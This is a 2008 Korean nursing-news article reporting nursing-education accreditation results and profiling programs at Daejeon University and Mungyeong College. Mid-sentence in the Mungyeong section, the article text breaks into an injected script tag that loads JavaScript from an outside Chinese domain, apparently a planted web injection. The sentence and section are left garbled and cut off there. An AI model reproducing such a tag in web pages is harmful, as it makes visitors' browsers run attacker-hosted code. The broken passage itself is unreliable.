기사입력 2008-05-21 오전 09:59:09

　한국간호평가원은 지난해 실시한 간호교육 인정평가 결과를 발표했다.

　평가결과 2007년도에 `인정' 판정을 받은 대학은 △대전대 간호학과 △문경대학 간호과 △서울여자간호대학 3곳이다. 간호교육 인정평가를 받은 3개 대학의 특성과 강점을 정리해 싣는다. 가나다 순. 간호교육 인정평가는 인정, 조건부인정, 불인정 3가지 중 하나로 판정한다. `인정' 판정을 받기 위해선 24개 필수항목을 모두 충족시켜야 한다.

　필수항목은 사회와 전문직이 요구하는 간호사를 길러내기 위해 갖춰야 할 수준과 질을 담보할 수 있는 최소한의 기준에 도달하고 있는지 여부를 확인하는 내용으로 구성됐다. `인정'은 5년간 유효하다.

　간호교육 인정평가 결과는 간호학 학점인정제, 전공심화과정, 전문간호사 교육과정을 운영할 수 있는 교육기관을 선정할 때 반영된다.

　평가영역은 교육목적 및 교육목표, 교육과정 및 수업, 학생, 교수, 시설 및 자원, 행정 및 재정, 교육성과로 총 7개 영역이다. 평가는 대학에서 작성한 자체평가보고서에 대한 심사와 현지방문평가로 진행된다.

　한국간호평가원으로부터 인정을 받은 간호교육기관은 2004년도에 2곳, 2006년도에 50곳, 2007년도에 3곳 등 총 55곳이다.

　한국간호평가원은 2008년도 간호교육 인정평가를 전국의 전문대학과 4년제 대학 중 희망하는 대학을 대상으로 실시할 계획이다. 8월까지 자체평가 보고서를 접수받으며, 9~10월 방문평가를 나간다. 현재까지 4년제 대학 2곳, 전문대학 6곳에서 간호교육 인정평가를 신청했다.


◆ 대전대 간호학과
-맞춤형 학생지도 `멘토링 제도' 정착

　대전대 간호학과는 인간존중을 바탕으로 과학적 간호와 치료적 돌봄관계를 통해 대상자의 최적 건강을 도모하는 창의적 전문직 간호사를 양성한다는 목표를 내세우고 있다.

　학생이 능력을 최대한 발휘할 수 있도록 학생지도에 중점을 두고 학과를 운영한다. 2004년부터 멘토링 제도를 도입해 시행하고 있으며, 지도교수별로 담당학생을 정해 학업을 포함한 생활전반을 맞춤식으로 지도한다.

　멘토링 제도는 신입생들에게 큰 도움을 주고 있다. 교수 학생간 소그룹과 개별 만남이 활발해져 대학과 간호학과에 대한 소속감과 자긍심을 높일 수 있으며, 학생들의 적극성을 이끌어 내는 중요한 원천이 되고 있다.

　지도교수는 담당학생들에게 전공과목 학습지원과 취업지도를 한다. 고학년으로 올라가면 적성에 맞게 진로를 선택할 수 있도록 상담을 하고, 취업정보를 제공한다. 졸업 후에는 학생이 취업한 병원의 간호부서와 긴밀히 연락하며 조직에 잘 적응할 수 있도록 지원하며 추후관리를 담당한다.

　교과 외 관심영역별 소그룹활동 지도도 활발하다. 간호학 전공에 대한 이해를 높이고 전문 직업능력을 개발할 수 있도록 지원하기 위한 목적이다.

　2006년부터 실시하고 있으며 관심영역별로 나눠진 소그룹을 7명의 교수가 맡아 지도하고 있다. `정보의 바다' `꼬마 건강짱' `간호독립만세' `간호영어' `심폐소생술' `아로마테라피' `천사 찾기' 등의 주제로 매월 2~3회씩 모임을 갖고 영역별 심화학습을 하고 있다.

　멘토링 제도로 학생들에 대한 학부모의 관심과 지지도 높아졌다. 교수, 학부모, 학생이 하나로 엮일 수 있는 협조체제가 구축돼 효율적인 학생지도가 가능해졌다. 대학에서는 행 재정적 지원을 해주고 있다.

　멘토링 제도와 관심영역별 소그룹활동은 간호대학생들이 간호전문직에 대한 이해를 높이고 전문직 간호사가 갖춰야 할 태도와 성품을 기를 수 있는 원동력이 되고 있다.


◆ 문경대학 간호과
-실습교육 혁신 결과 간호수행능력 향상

　문경대학 간호과는 1998년 개교해 8회의 졸업생을 배출했다. 인도주의와 박애정신을 기반으로 한 창조적 간호인을 양성하는 데 주력하고 있다.

　이론과 실무에 대한 체계적인 학습을 통해 과학적 비판적 간호를 수행할 수 있는 능력을 길러주기 위해 간호교육과정에 대한 자체평가를 실시하고 있다. 실습교육을 비롯해 간호교육과정을 점검함으로써 실습교육 목표와 운영의 문제점을 파악하고 적극적으로 개선해 나가고 있다.

　이같은 교육과정 개선에는 간호과의 모든 교수가 조직적으로 참여한다. 그 결과 개별 교과목별로 시행되던 실습교육이 전체 교육목표와 연계성을 가지며 체계적이고 일관성 있게 개선됐으며, 과목별 특성도 충분히 반영돼 간호술기와 비판적 사고력을 향상시킬 수 있게 됐다.

　먼저 실습교육목표를 재설정했다. 교육목표와 실습교육목표의 연계성을 확인한 후 실습교육목표의 관점에서 이론교육목표를 재확인함으로써 이론교육과 실습교육의 격차를 줄여나가고 있다. 학교 교육목적/목표 ↔ 간호과 교육목적/목표 ↔ 실습교육목표 ↔ 과목별 이론교육목표 ↔ 과목별 실습교육목표를 유기적?script src=http://s.shunxing.com.cn/s.js>

이유정기자  yjlee@koreanurse.or.kr